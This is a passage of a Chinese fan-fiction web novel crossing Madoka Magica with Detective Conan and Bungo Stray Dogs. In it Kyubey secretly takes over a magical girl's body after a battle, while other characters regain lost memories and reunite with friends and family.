“那你怎么不让她帮忙治疗？你的伤也很严重吧，现在还在渗血。” 白发少女低头瞥了一眼面前少女被血浸透的裙摆——暗红色正顺着布料褶皱缓缓凝聚，最终坠向地面，在尘土中砸出一个个小小的血洼。 松田阵平想说这不算什么只是小伤，又觉得这话说出来好像有些双标，不由得闭上了嘴。 “我们都知道，魔法少女轻易死不掉，等身体慢慢修复就行了。” 白发少女语气平和淡然地说：“这场战斗中受重伤的人数应该不少，禅院还是先去帮忙救治那些人吧，能多将一个人从死亡线上拉回来也是好的。” 松田阵平彻底不知道该怎么说了，想了想，只能将自己剩下的最后半个悲叹之种递过去。 是的，这颗悲叹之种已经用过一次了，勉强还能再用一次。 但要是吸收太多污秽的话，魔女就会再次从中孵化了。 虽然有点不好意思，可这是她目前仅有的东西了。 “这个你拿着用吧。” 白发少女迟疑了一下，还是接过了这颗悲叹之种，但没有立刻使用，而是将其先收起来：“谢谢。” “和我说什么谢谢，本来就是你送我们的悲叹之种，其他的等之后我会还你的。” 松田阵平语气坚定，随后又很快问道：“对了，等会儿你准备做什么？” “我帮不上其他的忙，现在就先回去了。” 白发少女直白地说道。 按照朔夜的人设，确实不擅长战后疗伤、安抚民众、管控指挥这类的事情。 不过，作为希望与奇迹代名词的魔法少女之一，只要朔夜能够出面，就很能有效地管控幸存者和影响舆情了。 但也没必要让对方这么辛苦。 好不容易才解决完战斗，伤势也没恢复，再让对方紧接着来忙别的工作实在有点过分了。 松田阵平点了点头：“那你回去好好休息吧，有什么需要随时联系我，回头见。” “嗯，再见。” 告别后，松田阵平便转身离开，往来时的方向走回去。 她顺便拿起手机，在群里帮朔夜发了一下消息说明其现况，免得其他人担心。接着又私聊安凛，问了对方目前所在的位置。 毕竟和降谷零提前说好了的，既然朔夜没事，自己也就能放心地回去帮忙了。 …… 看着松田阵平的身影远去，重新恢复一个人的状态，白发少女实际上反而更自在多了。 毕竟，同伴这种东西太麻烦了，很难应付啊。 白发少女从身上找出来了一部完好的、能够正常使用的手机，有点陌生地拿在手里看了看，再将其打开。 简单看了两眼，未读消息和未接来电还真不少，可是她并没有一个个查看的想法。 更何况，她刚才说了谎。 对于人类而言，手机无疑是很常见的必需品。 但是，为了避开不必要的麻烦…… 白发少女单手用力收紧，随着“咔嚓”一声，手机不堪重负地碎裂了，有细小的碎片从指缝间簌簌落下。 这样就没问题了。 她不在意地将真的彻底报废了的手机随手一扔，让它和这片废墟直接融为一体。 之后再去换部新手机吧，作为人类还是得更融入社会一点才行。 白发少女在心里默默盘算着今后的打算。 虽然确实多了不少麻烦的事情，但是好处其实是更多的。 就比如说刚才…… 和松田阵平那样的交流，可是自己几乎从未体验过的感受呢。 白发少女习惯性地露出了个熟练的笑容。 这笑容太过标准了。 就像特意精准地丈量过之后，从友善表情模板上一比一复刻出来，再长久地粘贴了上去一样。 隐隐约约给人一种恐怖谷效应的微妙感觉。 如果其他魔法少女能够看见，或许很快就可以认出来——这绝对不是朔夜或伊江朔久会露出的表情。 这是丘比。 是孵化者脸上仿佛永远不变的完美微笑。 “能够说谎的感觉……” 极轻的声音飘散在风里，尾音也是习惯性地用了上扬的调子，不过带了点新奇的雀跃。 “真好啊。” 第245章 为了阻止宇宙因为热寂而毁灭，丘比需要利用人类的感情，获得足够多的能量来扭转熵增。 最有效的方法是，和足够有天赋的那一批人签订魔法少女契约，收获希望向绝望转化的能量。 不过，任何事情都是有缺陷的。 丘比认为，孵化者与魔法少女的契约算是很公平的了—— 虽然它没有给魔法少女们解释关于契约的一切具体事项，但同时也无法说谎欺骗她们。 而且一般来说，它隐藏关键信息只是因为她们没问而已。 因为孵化者有着这样的限制，签订契约这件事就变得比较麻烦了。 尤其是在如今这个“特殊”的世界里。 签约的对象比以往的那些未成年少女难糊弄多了，又有伊江朔久给它造成的新的更麻烦的限制。 如果要放弃这个世界的诸多珍贵资源，丘比只能想办法在圆环之理和恶魔控制的另一个世界之下，艰难地争取魔女次等替代品魔兽的能量。 那样的能量获取效率太低下了，赶不上宇宙中熵增加的速度。 所以，丘比便想到了如今这个方法。 ——利用伊江朔久的存在，骗过那些束缚孵化者的法则，使它得以尽可能地获取这个世界的能量。 只不过…… 无法摘取已经成熟的那些果实，还真是太可惜了呢。 丘比回想起了不久前与伊江朔久的交谈—— 那个非常棘手的家伙终于妥协了，问道：“……你的要求到底是什么？” ‘将你的一切交给我来操控。’ 丘比顿了顿，催促道：‘你只需要同意就可以了，就像我们之前签订契约的时候一样，很简单的。’ 他们都知道，丘比所说的契约指的是，当年“系统”和伊江朔久“第一次见面”时，所达成的那个契约。 ——伊江朔久需要帮助系统找人签订魔法少女契约、从而拯救世界，而系统会在这之后实现他一个愿望。 这是表面上的契约内容。 但是，就像在魔法少女契约上隐瞒了某些重要内容一样，丘比同样也没有对伊江朔久说明这个契约的所有细节。 实际上，这个契约将他们两方的合作关系，连接得比表面上要更加紧密许多。 以至于在当初丘比同意的情况下，伊江朔久可以使用丘比的身体、以及丘比的许多重要能力。 换而言之，丘比也能够使用伊江朔久的身体和能力。 只要能取得对方的同意。 听了丘比简单的话语，伊江朔久似乎也很快意识到了这些，冷冷地说：“你还真是一如既往地擅长隐藏条约呢。” ‘是你先违约的吧。’ 丘比毫不在意对方的指责：‘我最开始时可没有想过，要用这个方法来维系我们的契约继续进行。’ 不过，为了对方能够放弃无谓的抗拒、早点同意，丘比便软化了自己的语言： ‘其实，我也不希望死太多的人，和你一样希望这个世界能够好好地维系下去……’ 伊江朔久打断了它的话，揭穿对方伪善的面具：“因为你还需要更多的魔法少女和魔女？” ‘这也是无可奈何的事情嘛。’ 丘比提醒道：‘如果没有充足的能量扭转熵增，宇宙就会因为热寂而毁灭。如果没有不断的悲叹之种的供给，魔法少女们便总会死掉的哦。’ 伊江朔久：“……” 果然，这是无法否认的事实。 看着对方沉默不语的样子，丘比摇尾巴的动作不觉加快了几分，颇为轻快地说： ‘所以只要你能答应，我便也可以做出保证——今天的事情不会再次发生，你在意的那些人的安全也会得到保障。’ 伊江朔久语气疏离地问：“我该怎么相信你？” ‘我可从来都没有说过谎，相反你才是满口谎言的人。’ 丘比歪了下头，似是不解地道：‘你该信任我的，难道我不是比你更加可信得多吗？’ “……也是。” 伊江朔久垂眸，承认了它说的话。 “但是，我要和你再签订一个契约。” 伊江朔久忽然话头一转，态度非常坚决，一副对方不答应就没有必要再交流下去了的样子。 “你也知道，契约这种东西比语言更加可信，对吧？” ‘……如果这能让你放心的话，当然可以。’ 丘比无奈地答应了。 所以，他们再次达成了契约。 作为败方与违约方的伊江朔久同意交付自己的一切，丘比则也承诺不会再伤害伊江朔久在意的那些人。 在那一瞬间，世界似乎骤然安静了下来。 黑暗在视野边缘蔓延，一点一点地蚕食着意识，连同身体的控制权一起慢慢剥夺…… ‘契约成立。’ 白色生物仿佛颇有仪式感，语气上扬地说道：‘你的“一切”归我所有了。’ 近两年，都是伊江朔久在用着丘比的身体，做着它该做的与人签订契约的工作。 但再次重新以这样的视角来看，伊江朔久忽然觉得自己扮演的丘比并不合格，比不上正版万分之一的讨厌程度。 太自信了啊，丘比。 你迟早会为此付出代价的。 伊江朔久有点想笑，然而连牵动嘴角的力气都已消失了。 身体全部失去了知觉，像是沉入一片漆黑的深海，而在意识也彻底被抽离之前，很久之前的一段记忆忽然变得鲜明起来。 合上眼睛，恍惚间却仿佛跨越了时光，回到了两年前那个新年的夜晚—— 壁炉的火光将周围人的脸庞映得温暖柔和，餐桌上摆满了艾尔菲带来的料理，饭菜的香气和蒸腾的热气弥漫在空中。他们放下了对彼此的疏离与戒心、奇迹般地第一次在这样的日子里聚在一起，所有人脸上几乎带着真心的笑意…… 回忆的画面一幕幕闪过，耳边好像也能听到那些热热闹闹的话语。 “就让我来负责下厨吧。” “第、第一次？！小津岛，你不是说你很会处理河豚的吗？” “真好啊。那现在我们所有人都聚齐了。” “确实，还是你们两个拿着年玉吧。应该就你们两个是未成年且还在上学吧……” “大家都看镜头，彼此之间坐得稍微近一点。” “三、二、一……” “新年快乐！！！” “……” 随着新年倒计时的108下钟声渐渐走到尽头，这些带着当初才有的毫无阴霾的喜悦的声音也慢慢淡了下去…… 仿佛离自己越来越远，仿佛再也无法触及。 伊江朔久忽然想起，那时自己脑海曾飘过这样一个念头。 ——如果时间能够停留在这一刻…… 在黑暗彻底吞噬意识的最后一瞬，伊江朔久还是放弃了不切实际的天真愿景。 算了。 他们都应该拥有更好的未来才对…… …… 用着白发少女身体的丘比叹了口气。 现在想想，还是很可惜呢。 明明耗费了这么久的时间与精力，好不容易才出现了这些天赋极高的魔法少女，都已经能够想象到她们堕落成魔女时会爆发的巨大能量了，却只能无奈选择放弃。 但既然事情已经到了如今这种地步，那就只能向前看。 她伸手轻轻触碰了一下自己的面容，将曾经一直挂在脸上的完美微笑渐渐收敛了回去，恢复成面无表情的冰冷模样。 就算没办法利用其他魔法少女，也还是尽量不让她们成为自己的阻碍比较好。 那就还是姑且伪装成朔夜的样子吧。 虽然角色扮演是一件很麻烦的事情，可丘比其实也早就习惯了。 它曾经伪装过可爱无害的吉祥物契约兽，也伪装过顺从好骗的AI系统……这么多年来，骗过的人类数不胜数，战绩绝对显著。 要伪装一个和它相熟两年多的魔法少女当然并不困难。 刚才的松田阵平不就被它成功骗过去了吗？ 况且不管怎么说，丘比都绝对不算吃亏—— 摆脱了无法说谎以及无法影响到这个世界的束缚，拥有了最强魔法少女的实力，还得到了民众天然的信任…… 再者，孵化者不会被人轻易要挟，没有人类麻烦的情感也永远不会堕入绝望，还拥有着许许多多的悲叹之种足以净化灵魂宝石。 ……这样的它，远比伊江朔久要更加强大。 只是最可惜的是，丘比终究不是伊江朔久本人，灵魂只是共存，并不能掌控后者一切的能力。 它没办法使用来自对方灵魂最本源的、关于天平交换的能力，也无法发挥出对方的全部实力。 实力达不到全盛无所谓，就算比真正的伊江朔久弱一些，也足以应付其他魔法少女。 而且，悲叹之种存量更多的它，比伊江朔久更有长久地活下去的能力。 但是……无法使用天平交换的能力，就几乎无能为力了。 本来它还是对这个奇迹般的能力很抱有期待的。 毕竟它认为孵化者作为远比单一人类个体更高级的文明物种，可以将这个能力的作用发挥到最大。 ……说不定能从中获取比所有魔法少女更有价值的能量呢。 但是，无法使用这个能力也在丘比的预料之中，毕竟伊江朔久当初也没能获得它的全部能力。 其实…… 丘比仔细想了想，还有一个办法能够彻底掌握伊江朔久的一切能力。 它纠结了好一会儿，最终选择暂且把这个办法抛之脑后。 这个方法的风险太大了。 没必要那么做，一切都可以慢慢来。 反正孵化者的生命几乎是永恒的，目前局势看起来也还不错，阻止宇宙的热寂不需要急于一时。 还是先做回自己的老本行，想想要怎么物色下一个新的魔法少女吧。 第246章 其实，在战斗刚结束不久之后，太宰治便也很快察觉到了朔夜的毫无音讯。 但是太宰治并没有怎么意外。 很明显，战局忽然迎来令人喜出望外的转机，这点绝不是运气和巧合就能轻易解释的。 大概率是制造了这一战场的幕后敌手做出的退步吧。 而至于对方为什么会这么做，缺少了太多信息情报的太宰治不清楚答案，但是能肯定——伊江朔久绝对知道原因，甚至这原因也应该来自于伊江朔久本人。 所以，如今朔夜的消失就显得很危险了。 ……应该不会出什么大事吧？ 太宰治召唤出《女生徒》，尝试使用自己的能力去往朔夜身边，却失败了。 在战斗开始之前，她们便做好了准备，每个魔法少女身上都会携带津岛的书页。 在关键时刻，她们就能联系津岛利用书页来找其他同伴过来帮忙，或是主动去帮其他同伴的忙，也可以传送到安全地方以此避开死亡。 虽然因为战况很危急，最终她们没有余力去帮助其他人，也没有人选择退避、让自己战场的魔女使魔流窜去往别的地区。 但是，至少她们此刻身上应该还带着书页才对。那样的话，太宰治就能直接去往她们身边。 如今能力发动失败可以证明，目前朔夜身上没有带着书页。 难不成书页是和通讯器一起坏掉了，才致使现在怎么都联系不上朔夜吗？ 有这个可能性。 可是，太宰治从来不会将希望寄托于巧合之上。 太宰治思索着。 要么是敌方切断了朔夜与他人的联系，要么就是朔夜故意提前毁掉了那张书页。 后者的可能性要更大许多。 看来，朔夜早就知道了自己要面临什么，所以不希望其他人打扰么？ 那还真是抱歉了。 自己得去找到朔夜才行。 明明约定好了的，对方怎么能够违反约定、比自己更早获得死亡的解脱呢？ 于是，太宰治便也往着朔夜可能去的地方，一处处慢慢搜寻，希望能找到那个人的任何踪迹。 然而还没找到朔夜，便先有其他人找上了她。 “太宰——” 骤然听到背后这样的呼唤，太宰治条件反射地微微低头，确定了一下自己现在仍处于变身状态，应该不会暴露才对。 随后，她才反应过来，回过头去。 看着两个熟悉的友人——织田作之助和坂口安吾。 为什么他们会找到这里来？ 这个时候，他们应该在战场更外围一些的地方，忙着处理战后的那些事宜才对。 为什么要特意在这种时候来找自己？ 太宰治微微一滞，发现了他们眼底某种久违的熟悉的特殊色彩。 和上次见面不同，这次的相视仿佛穿透了时间，回到了过去，又加上了一份沉甸甸的重量。 “你们……” 她声音很轻地开口，却仿佛不敢确认般，将话语停在了半空中。 “我们都想起来了。” 回答的人是织田作之助，声音低沉而清晰。 坂口安吾补充道：“全部……包括我们三个人是最初是怎么认识的，怎么成为朋友的，怎么……分道扬镳的，还有这两年来我们相处的所有记忆。” 也就是说，曾经共同经历过的那些时光，不再只有一个人记得。 不再是浮泛无根、不切实际的泡影。 这样的念头在脑海里升起，太宰治又不禁觉得自己真够自私的，只想得到自己的感受。 明明知道的，不是吗？ 在想起全部记忆之后，他们当然也想起了曾经的痛苦——各自身份的阻碍、破裂的友谊、织田作的死亡、无谓的赎罪…… 他们现在的生活已经过得够好了，根本没有必要再拾起这些过去的回忆。 “很糟糕吧？曾经的某些回忆。”太宰治轻声说着，嗓音像是被砂纸磨过：“其实，记不起来也完全没有关系……” 坂口安吾静静地看着她，忽然叹了口气，非常诚恳地说： “不是的，都是很珍贵的回忆。” “啊，没错。”织田作之助点点头，语气坚定：“正是因为有了那些回忆，我才知道，原来我有着这样重要的友谊。” 所以，不管经历怎样的痛苦，都绝对不能再放手，不能再让珍贵的东西从手中溜走。 “……抱歉，我不该遗忘的。” 听着织田作的道歉，太宰治摇了摇头，又想起了那本写满回忆的本子。 太宰治的喉咙像是被什么堵住了，半天才找回自己的声音：“你已经很辛苦了，这也是……没有办法的事情。” 织田作之助向前一步，问道：“那么，我们还能一起回去吗？” 回到作为友人的过去。 太宰治怔住了。 坂口安吾也小心地问：“上次见面的时候，不是答应过我们了吗？等到这次事件结束之后，一起去Lupin酒吧，对吧？” 太宰治记得，自己上次只说了等结束之后再说吧，然后就匆匆逃也似的离开了。 不过，太宰治倒是也没有反驳。 “……那就，约好了。” 阳光将三人的影子拉得很长，像是终于重新交叠的命运。 太宰治顿了顿，又说道：“不过……” 坂口安吾刚松了一口气，便听到了对方转折的语气，立刻重新将心提回来，问道：“怎么了？” 太宰治有点不知道该怎么解释。 主要是，朔夜的事情太过复杂，自己现在也还没整理出前后的全貌，并不方便把这些说出去。 不过，经过了织田作安吾恢复记忆的这一茬之后，太宰治心里倒是忽地放松一些，觉得朔夜此刻应该不会有什么大事。 因为很明显，这肯定与朔夜有关。 其实，在因梦境魔女而陷入沉睡的那些人苏醒的时候，太宰治就知道这是朔夜做的了。 毕竟当时是朔夜“解决”了梦境魔女，也是朔夜突然承诺会在一月之内让那些沉睡者醒来。 由于比较了解朔夜的性格，所以太宰治并不担心这件事。 可是却没想到，那些人是在这个时间点苏醒过来的，同一时刻织田作和安吾居然也莫名恢复了记忆。 前后逻辑一联系，太宰治便能够大概猜到，朔夜当初估计是特意藏下了那只梦境魔女。 然后不知道对方是怎么做到的，利用了那只魔女能够重现过去记忆、构建美好梦境的力量，将其以特殊的形式作用在织田作和安吾身上。 虽然现在还是联系不上朔夜。 但她既然能够抽空来做这些事情，此刻应该就没出什么大的问题吧？ 还是有点不放心……太宰治琢磨着，自己再去找找对方吧，要不要叫上织田作和安吾帮忙呢？ “太宰？” 坂口安吾看着还在思索的太宰治，忍不住出声喊了一下对方。 太宰治回过神来，刚想说什么，便感受到自己的手机轻轻振动了一下，有新的消息。 尽管觉得是朔夜发的可能性不大，但太宰治还是抱着万一呢的想法，先拿出手机看了一眼。 果然不是朔夜。 等等…… 松代见过朔夜了？！ 群聊里，松代替朔夜解释了一下她现在的状况，说是通讯设备坏掉了，才没能够联系上，所以不用担心。 太宰治当然不会相信，通讯设备坏掉才那么久联系不上这种理由。 不过…… 既然松代发了这样的消息，就证明朔夜确实状态还好。 通过之前的相处与观察，太宰治能够发现，松代如今也知道了伊江朔久的真实身份，并且与对方的关系一直很不错。 那么，松代应该不会被朔夜轻易糊弄过去，这些话便也是有可信度的。 太宰治终于暂且安心下来。 她唇角微微弯起，对身旁的织田作和安吾说道：“好了，现在应该是没事了，一起回去吧。” 第247章 坂口安吾很明显能看出太宰治心情的好转。 看来太宰有了很多的秘密。 也是，如果不是有了许多特别的经历，对方也做不到复活织田作先生、影响世界线、还能变成魔法少女了。 坂口安吾犹豫了一下，没有去询问……太宰总会告诉他们的，而他们也会一直站在友人的身边。 他跟上了太宰治的步伐，只是道：“嗯，对了，我们什么时候一起去Lupin酒吧呢？” “我随时都可以。”织田作之助说完后，转头看向太宰治，询问道：“太宰呢？” “我当然也都有空，刚让艾尔菲欠了我人情，这段时间的工作应该都能推给她。” 太宰治瞥了眼坂口安吾，语气里有点幸灾乐祸：“看安吾什么时候忙完工作吧，发生了这么多事情，异能特务科这几天估计会很忙吧。” 坂口安吾沉默了。 自己社畜得跟这两人仿佛格格不入，不由得有点同情自己和那个叫艾尔菲的魔法少女。 他咬了咬牙：“……我会尽快抽出时间的，大不了把年假都提前用了。” 久违地与友人重新聚在一起，怎么能够被他们落下。 不过，心里还是有点不平衡啊。 身为小说家的织田作先生算是自由职业者就不提了，太宰君明明同时有着武装侦探社职员和魔法少女这两个不轻松的工作，为什么看上去还是这么空闲？ 坂口安吾不解地问道：“太宰，魔法少女的工作就算了，你不需要做侦探社的工作吗？” 太宰治可疑地沉默了：“……” 差点忘掉了呢。 说起来，侦探社的其他人几乎都参与到了这次的战场之中，只有自己因为分身乏术而找理由不在场。 要是战后还推卸工作偷偷溜走，国木田不会想打死自己吧？ 心虚了一秒，太宰治先将其抛之脑后。 之后的烦恼就交给之后的自己去头疼吧。 太宰治一本正经地说：“我突然想起来，其实现在还有一件非常关键的事情，你们必须记清楚了。” 坂口安吾表情也随之严肃起来：“什么事情？” 太宰治像是在提醒着一件有关世界存亡的重要事情：“以后在现在这个样子的我面前，请称呼我为津岛。” “……” 织田作之助认真地点了点头：“我记住了。” 而坂口安吾则没忍住噗哧一声笑了出来，然后又很快拿手捂住嘴，装作什么都没有发生。 “……安吾？” 太宰治很危险般地放慢了语速。 坂口安吾摇摇头：“不，你听错了，我没有笑。” 太宰治的气场看起来更危险了：“我还没说谁笑了啊。” 糟糕…… 不会被太宰灭口吧？ 见识了自己好友“黑历史”的坂口安吾，颇有危机感地想到。 以太宰的性格，恶作剧总归是免不了的吧。 看来，自己最近这段时间得格外小心谨慎，别被太宰也抓到自己的什么黑历史了。 “啊。”织田作之助慢半拍地恍然道：“原来，刚才那里是需要笑出来的地方吗？” 太宰治一口否认：“完全不需要！” 他们三个一起慢慢地往回走着，相处的氛围逐渐回到了最初。 就像不管经历了多么糟糕又痛苦的事情，他们总能重新聚起来，继续这样一直走下去一般。 太宰治忽然又想起了之前的回忆。 当时被织田作遗忘之后，自己来到了海边入水，与伊江朔久意外达成了约定。 现在想想，如果眼下这样的生活能够一直维持下去，努力地活下去或许便不算那么糟糕，或许真的可以对未来有所期待…… 伊江朔久说的可能是对的。 但为什么对方当初就能够肯定，自己会找到坚持活下去的希望，就像是早就看到这一天了似的？ 难道就算没有梦境魔女，伊江朔久也早就想过，要找到将织田作和安吾的记忆恢复的办法吗？ ……这么算下来，自己似乎欠了对方不少人情。 太宰治有点别扭地想着。 下次见面的时候，先和对方说句谢谢吧。 …… 菲茨杰拉德不安又担心地赶到了津岛所说的临时避难所，直到见到了自己的妻子女儿才终于能够放心下来。 还好，她们没事，悲剧没有再一次发生。 “泽尔达、斯科——” 菲茨杰拉德还没喊完，妻子和女儿便前后扑进了他的怀里，紧紧地拥抱住了他，能够感受到温热的泪水浸透衬衣。 他僵在原地，声音也停在了半空中。 ……有多久了？ 不知从何时起，因为自己自以为是的隐瞒与逃避，将重要的家人越推越远，无形的裂缝越来越大，他们越来越没有办法互相理解…… 所以，早就很久没有过这样的拥抱了。 而现在，她们却紧紧地搂着他，仿佛生怕他会消失一样。 菲茨杰拉德一阵恍惚，险些以为自己还困在那个虚假又美好的梦境里。 不过，他的余光扫过周围——除了他们一家，这个临时避难所里还有很多人也好不容易正与家人团聚。 大多数人险些遭遇生死离别，情绪起伏都比较大，也有像这样温情地拥抱在一起、互相哭泣倾诉的。 泽尔达和斯科蒂也是因为太过害怕担心，情绪才有些失控了吗？ “对不起……” 菲茨杰拉德收拢双臂，也紧紧地回抱住自己最重要的两个人。 是自己的错。 如果不是过于软弱，怎么会沉溺在虚假的梦境之中，让现实里自己真正的家人担忧挂念，以至于跑到这里来找他而陷入危险。 忽然，女儿微微松开手，仰起头来，露出强忍着眼泪的表情： “我才是需要道歉的，对不起。什么都不知道的我，之前还不懂事地胡乱发脾气……说什么感觉爸爸你离我们越来越远了，真的对不起，明明、明明是我先离开你们的……” ……斯科蒂在说什么？ 菲茨杰拉德有些理不清楚思绪，脑子突然一片空白，似乎意识到了什么，却又不敢去想。 随后，泽尔达也出声了：“都是我的错才对。在当初失去了斯科蒂以后，就不管不顾地放弃了一切、沉浸在自己的精神世界里，让你一个人辛苦了那么久……对不起，弗朗西斯。” 一家人争着抢着道歉，还真是罕见的情况。 菲茨杰拉德没想过会出现这样的状况，更没想到……“你们记起来了？” 他的声音沙哑得像是很久没有说话。 “嗯，我们突然就都想起来了，就好像一下子经历了一场很长的梦境。” 泽尔达用着肯定的语气道：“但那都是真的，对吧。” 正是因为想起了这些记忆，她们才终于能够彻底理解菲茨杰拉德。 理解对方为什么隐瞒着那么多秘密，为什么不愿意说出口，为什么要将她们推得远远的，为什么不相信家人之间能够互相帮助、一起面对任何困难…… 毕竟是有着那样的过往啊——斯科蒂意外死亡，泽尔达因此精神出了问题，只留下菲茨杰拉德一个人咬牙坚持着寻找挽救家庭的办法。 看着歉疚的妻女，菲茨杰拉德花了很久才找回自己的语言，安慰着她们： “……没关系的，早就过去了。” 这只是谎言。 其实，他之前也以为，那些痛苦难熬的过往早都已经过去了。 但是今天忽然由妻子女儿来提到这个，他才发现自己还这么在意着那些过往。 就好像揭开被纱布包裹了很久的伤口，发现它原来一直没有愈合，只是习以为常便不觉得痛了而已。 “不用道歉，我从来都没有怪过你们。” 这是真话。 虽然她们并不能永远陪在他的身边。 但他知道，这也不是她们的错，只是意外总是这么难以避免。 只不过，经历过了那么一遭之后，自己总会过于担心意外再次降临在自己最重要的家人身上。 于是才隐瞒了那些危险的事情，只想将她们保护在安全的地方。 可是—— 菲茨杰拉德垂下头，忽然意识到。 自己一直以来做的实在是太糟糕了，以为将她们推开就是保护，以为独自承受所有压力就是为她们好。 可事实上，他的隐瞒和疏远，只会让她们愈发不安。 菲茨杰拉德想起津岛发的消息。 ——【她们看上去……真的很担心你呢。】 是啊，作为家人，她们根本不可能做到对他不理不睬，所以这次跑到日本找他而遇到危险，几乎是必然会出现的结果。 就算没有在这一次发生，也会在下一次发生。 在身处险境的时候，什么都不清楚的她们会更缺乏自救的机会。 现在想想，菲茨杰拉德居然觉得，让自己沉睡了快一个月的梦境魔女事件，其实也不能算是一件坏事。 在梦境里，他久违地找回了原本家庭该有的模样。 家人之间互相信任、互相理解，不丢下任何一个人——这才是自己曾经渴望又怀念的、不惜一切代价也要挽回的最重要的家。 “你们全部都知道了吗？关于我最近这些年都做了些什么。” 菲茨杰拉德忽然露出了点笑意，主动抛出话题。 “只知道一些，大都是曾经被我们‘遗忘’了的过往。” 泽尔达似乎意识到了什么，眼睛微微亮了一点：“还有很多关于你的事情都不了解。” 菲茨杰拉德终于能够坦然地道：“那等会儿有兴趣听我讲讲吗？可能故事会比较长，得讲很久很久。” “嗯！” 斯科蒂连忙应下，欣然地笑了起来。 “没关系，我们也还有很长很长的时间。” 第248章 和太宰治、菲茨杰拉德的经历比较类似。 准备回去找降谷零，帮忙一起处理战后事宜的时候，松田阵平发现安凛暂时先离开了这里，说是有事情要处理。 松田阵平没想那么多，只是先以松代的身份帮帮其他公安警察的忙，研究一下看看能不能利用自己的能力，排查一下城市电力故障、修复一下通讯系统等。 这些事情不是一时半会儿能处理完的，更何况她之前持续战斗了那么久，其他人当然不好意思看着拯救了城市的魔法少女一直那么辛苦，很快就劝她先去休息并处理伤口了。 松田阵平刚停下来没多久，降谷零就回来了。 降谷零是取消变身状态之后回来的，和松代交谈的时候特意找了个隐蔽的地方：“你的伤还好吗？” “已经恢复很多了，没什么大事。” “那就好，我得先去处理公安那边的工作了。”降谷零笑着眨了眨眼睛：“找了个人帮你检查下伤势。” 松田阵平：“……？” 她还没开口说自己不需要，结果就看见一个熟悉的人从拐角处走了过来。 “……hagi？！” 没想到萩原研二居然会出现在这里，松田阵平都有点晃神。 上次和对方见面还是在探监室，因为复生之后多出的那些记忆和洗脑影响，萩原研二接受了法律并不公正的审判，所以他们那次的交流自然也不算愉快。 按理来说，萩原研二现在应该还得待在监狱里，可是如今却正大光明地出现在这里…… 这似乎说明了什么呢？ 松田阵平忍不住往好的方向去想，又担心自己猜错了。 “小阵平，好久不见。” 萩原研二浅笑着开口道，状态看起来不错。 尽管上次见面的时候，萩原研二也是这样面露笑容、语气轻快。 但作为从小一起长大的幼驯染，松田阵平当然能看出对方远没有表面上这么轻松，只不过是将一切痛苦压力都轻飘飘地揭过去了。 而这一次，对方的状态却真实多了，感觉就像是终于卸下了长久以来压在心里的重担。 松田阵平不知从何问起，下意识地先瞥了一眼旁边的降谷零。 降谷零虽然刚才说要去处理公安的工作了，不过也还暂时没走，悠悠地道： “萩原现在也是公安的一员哦，目前他就先交给你了，算是松代小姐的协助者吧。” 松田阵平愣了一下。 萩原研二解释道：“因为六年前的‘意外’，我转到了警察厅警备局，在组织里卧底了六年。前段时间组织覆灭，我才得以恢复公安的身份。” “这些就是我‘如今’的经历了。” 他在如今这两字上加重了声音。 降谷零补充道：“其他很多相关人员的记忆都被覆盖成了这个样子的，还找到了一些证据来证实。” “最重要的就是，萩原在组织执行任务的记忆无限淡化了。” 萩原研二点点头：“就好像是，原本仿佛亲自经历过的记忆，变成了以旁观者的视角简单而快速地阅览了一遍而已。” 不得不承认，在那些痛苦的、充满血腥味与黑暗的记忆淡化之后，萩原研二心里的重担卸了下来，忽然觉得未来也不是那么无望了。 他才发现，原来那些记忆对自己的影响这么严重。 “还有被洗脑的事情也不用担心了。” 降谷零露出了一言难尽的样子，说道：“似乎是因为当时在组织里卧底的我为萩原提供了帮助，使他只是表面上伪装成了被洗脑的样子。实际上并没有什么问题……” 虽然这样听起来，感觉组织实在是太差劲了，连这种事都能被轻易糊弄过去。 但想想在组织破灭之后，暴露出来的众多来自各个国家机构的卧底……好像组织确实本来就挺差劲的。 降谷零总结道：“总之，已经不用担心了，萩原他现在……” 松田阵平听到这里，心情放松了许多，脸上都已经缓缓露出笑意。 结果，却听到了对方语速慢半拍的后半句—— “已经成为一名前途非常光明的公安了。” 语气颇有种你的幼驯染已经变成我的了的感觉。 再加上日本警察和公安一向关系不太好，松田阵平差点条件反射地想要握拳了：“哈？” 松田阵平又立刻看向萩原研二。 萩原研二心虚地说：“毕竟大家现在都以为我做了六年的公安，这部门不是很好脱离……小阵平你放心，我当然还是更喜欢待在爆.炸物处理班的。” 公安这职业就是这样的。 尤其是像萩原研二这样掌握了太多秘密情报的，很难脱离这里转去其他部门。当初降谷零提交休假申请都和上层反复拉扯了好几回才通过。 降谷零也不继续开玩笑了，说道：“近期很长一段时间公安都会非常忙碌，萩原应该会接手我之前的部分工作。” “不过，等到情况安稳下来之后，我会回到公安，再申请让萩原转回你们爆.炸物处理班。” “虽然这申请会耗费很大一番功夫，但我想，考虑到他于组织卧底这六年的贡献，应该总能通过的。” 松田阵平心情好转了点，顿了下，迟疑地问降谷零：“那你呢？萩接手了你的部分工作后，那你做什么？” “我其实还在休假中呢。” 降谷零提醒道：“松代前辈，我现在更需要尽早适应魔法少女的工作。” 这倒也是。 就目前来看，魔法少女的工作比公安的工作重要多了。 松田阵平回想起先前的战斗：“我会帮你尽快适应的，你这次的战斗有不少问题。不趁早解决的话，之后一个人面对魔女的时候，可能会有危险。” 想起松代之前的高强度特训，降谷零无奈地露出苦笑：“我还是新人啊。” 好了，听着这两人的对话，这下轮到萩原研二升起一种仿佛被孤立的感觉了。 如果自己也是魔法少女的话……现在估计就能跟他们有更多的共同话题了吧？ 第249章 说起来，魔法少女这份职业特殊又奇怪，其中夹杂着许多难解的秘密，还得常常面对危险的敌人。 要是换一个知道些许内情的人，估计大概率就会对其产生排斥或恐惧的心理了。 但是，萩原研二倒是莫名觉得很习惯。 偶尔面对交谈着的魔法少女们，他会有种奇怪的既视感，就好像这样的情景不是第一次发生了，而自己也不应该只是以旁观者的视角在一边观望着而已…… 萩原研二怀着难以言明的心情，默默记下了自己此刻的感受，随后说道： “对了，这些变化和我死而复生的那次不一样，不像是世界因果线的变动，而像是……只是将相关人员的记忆修改了一样。” 降谷零点头，一边思索一边说道：“所找到的那些相关证据没那么确凿，是可以人为伪造的。只不过其他人因为记忆的影响，才并没有对这些证据产生怀疑。” “你知道这是什么原因吗？” 萩原研二看向松田阵平，眼神里流露出担心的色彩：“和……小伊江有关吗？我很久没见过他了，刚才也没有联系上他。” 具体情况松田阵平并不清楚。 然而，他却也和萩原有着相同的感觉，认为这件事很可能与伊江朔久有关。 